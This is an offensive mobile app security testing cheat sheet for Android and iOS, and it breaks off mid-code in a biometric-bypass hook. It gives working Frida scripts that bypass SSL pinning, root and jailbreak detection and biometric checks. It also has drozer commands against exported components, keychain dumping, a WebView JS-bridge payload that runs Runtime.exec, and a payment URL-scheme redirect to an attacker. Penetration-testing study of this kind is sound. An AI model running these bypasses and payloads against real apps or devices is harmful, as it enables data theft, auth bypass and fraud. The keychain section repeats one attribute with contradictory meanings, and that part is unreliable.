offensive-mobile

Mobile (Android + iOS) — Offensive Testing Methodology

Quick Workflow

1. Static: pull the IPA/APK, decompile, dump resources/strings, identify endpoints
2. Dynamic: install on rooted/jailbroken device, hook with Frida, intercept TLS
3. Map exported attack surface: deep links, URL schemes, exported components
4. Storage / Keystore audit: where do secrets live, what protects them
5. API: every backend the app talks to is your scope — test like a web app

Lab Setup

Android

• Rooted device or Genymotion / Android Studio AVD with userdebug build
• Magisk for systemless root; LSPosed for hooks; Frida server matching device arch
• Burp / Mitmproxy with system-trusted CA via Magisk module (MagiskTrustUserCerts)

iOS

• Jailbroken device (palera1n / checkra1n / Dopamine depending on iOS version)
• Frida + Objection + Filza + SSH via USB (iproxy 2222 22)
• Burp CA installed via Settings → General → Device Management → Certificate Trust Settings

Static Analysis

Android

# Decode resources + smali
apktool d app.apk -o app

# Decompile to Java
jadx -d app_src app.apk

# Manifest review
xmllint --format app/AndroidManifest.xml | less
# Look for: android:exported="true", intent-filters, custom permissions, debuggable, allowBackup, networkSecurityConfig

# Secrets and endpoints
grep -rE '(https?://[a-z0-9.-]+|api[_-]?key|secret|token|firebase|amazonaws|appspot)' app_src/
grep -r "Log\.[dwief]" app_src/   # leftover debug logs

# Native libs
file app/lib/*/*.so
# RE in Ghidra/IDA; look for JNI_OnLoad and exported Java_* functions

iOS

# Pull IPA from device
frida-ios-dump -o app.ipa "com.vendor.app"

# Or via App Store via 3rd-party tools (Apple Configurator with paid acct, etc.)
unzip app.ipa
# Decrypt if needed (jailbroken device): bagbak / clutch
bagbak com.vendor.app

# Class dump
class-dump-dyld -H Payload/App.app/App -o headers/
# Or for Swift symbols, use Hopper / IDA

# Strings / endpoints
strings -a Payload/App.app/App | grep -E '(https?://|key|secret|api)'

# Info.plist analysis
plutil -p Payload/App.app/Info.plist
# Look for: NSAppTransportSecurity exceptions, CFBundleURLTypes (URL schemes),
# associated-domains entitlements, UIFileSharingEnabled, ATS exemptions

Dynamic Analysis & Frida

Common Hooks

// Bypass SSL pinning (Android — generic OkHttp/CertificatePinner/TrustManager)
Java.perform(() => {
  const X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
  const TrustManagerFactory = Java.use('javax.net.ssl.TrustManagerFactory');
  // ... full bypass scripts: codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida
});

// Bypass root detection
Java.perform(() => {
  const File = Java.use('java.io.File');
  File.exists.implementation = function () {
    const path = this.getAbsolutePath();
    if (path.includes('su') || path.includes('Magisk')) return false;
    return this.exists();
  };
});

// iOS — bypass jailbreak detection
const stat = Module.findExportByName(null, 'stat');
Interceptor.attach(stat, {
  onEnter(args) {
    const path = args[0].readUtf8String();
    if (/Cydia|jailbreak|substrate|frida/i.test(path)) {
      args[0] = Memory.allocUtf8String('/nonexistent');
    }
  }
});

Objection (Frida-based shortcuts)

objection -g com.vendor.app explore
# Then inside:
android sslpinning disable
android root disable
android hooking list activities
android intent launch_activity com.vendor.app/.SecretActivity
ios sslpinning disable
ios jailbreak disable
ios keychain dump

SSL / TLS Interception

Android Network Security Config

App with <network-security-config> requiring its own pinned CA: edit res/xml/network_security_config.xml, repack:

apktool b app -o app-patched.apk
apksigner sign --ks debug.keystore app-patched.apk

Or live-bypass with Frida (preferred — no recompile).

iOS ATS / Pinning

For pinning, use Frida hooks against SecTrustEvaluate* / NSURLSession delegate methods. ATS exceptions in Info.plist (NSAllowsArbitraryLoads) make MITM trivial without pinning.

Exported / IPC Attack Surface

Android — Exported Components

drozer console connect
> run app.package.attacksurface com.vendor.app
> run app.activity.start --component com.vendor.app .ExportedActivity \
    --extra string url 'javascript:alert(1)'
> run app.provider.query content://com.vendor.app.provider/secrets

Targets:

• exported="true" activities → call from another app, bypass auth
• ContentProviders without grantUriPermissions → arbitrary read
• Receivers handling BOOT_COMPLETED etc. with privileged actions
• Services bound by intent extras → command injection

Intent Redirection / PendingIntent Hijack

// Vulnerable: PendingIntent with implicit Intent given to untrusted app
PendingIntent.getActivity(this, 0, new Intent(), FLAG_MUTABLE)
// Attacker fills the empty Intent → action runs with victim app's identity

iOS — URL Schemes / Universal Links

# Open custom scheme (test from another app)
plutil -p Payload/App.app/Info.plist | grep -A 5 CFBundleURLTypes
# Then on device:
xcrun simctl openurl booted "vendorapp://payment?to=ATTACKER&amount=9999"

Universal Links: check apple-app-site-association on the linked domain — open redirect on that domain → universal-link claim → in-app webview navigation.

iOS XPC / Mach Services

launchctl list | grep com.vendor enumerates the app's launch services. XPC handlers without proper audit-token validation accept messages from any process.

Insecure Data Storage

Android

# On device (root), pull app data
adb shell "su -c 'tar -cz /data/data/com.vendor.app'" > app_data.tgz

Inspect:

• shared_prefs/*.xml — preferences in plaintext
• databases/*.db — SQLite (use sqlite3 to dump)
• files/ — arbitrary writes
• cache/ and external storage (sdcard/Android/data/...) — often readable across apps

Android Keystore Misuse

• Keys created without setUserAuthenticationRequired(true) → use any time process is running
• AES-GCM with reused IV (devs often hardcode IV)
• RSA without proper padding (PKCS1 v1.5 vs OAEP)

iOS Keychain

# Objection
ios keychain dump
# Look for kSecAttrAccessible values:
#   AlwaysThisDeviceOnly  → readable when phone locked (bad for secrets)
#   WhenUnlocked          → standard
#   AlwaysThisDeviceOnly  → bypasses screen lock

iOS Data Protection classes: NSFileProtectionNone files are readable on a jailbroken device even when locked.

WebView Vulnerabilities

Android addJavascriptInterface

If the app exposes a JS bridge with reflection-capable objects, JS in any loaded page = arbitrary Java method invocation.

// In a page loaded by the WebView
JSBridge.getClass().forName('java.lang.Runtime')
  .getMethod('exec', String).invoke(JSBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), 'id')

file:// and Content://

WebView with setAllowFileAccessFromFileURLs(true) + a HTML attachment that the user opens → reads any file the app can.

iOS WKWebView

• WKWebViewConfiguration.preferences.javaScriptCanOpenWindowsAutomatically
• wkScriptMessageHandler exposed — same JS bridge concern as Android
• File URL load with loadFileURL and broad allowingReadAccessTo directory

Biometric / Auth Bypass

Android BiometricPrompt

Apps using BiometricPrompt without binding the cryptographic operation to authentication can be bypassed by hooking the result callback.

Java.perform(() => {
  const Cb = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');
  Cb.onAuthenticationSucceeded.implementation = function (r) {
    return this.onAuthenticationSucceeded(r);  // accept whatever
  };
  Cb.onAuthenticationFailed.implementation = function () {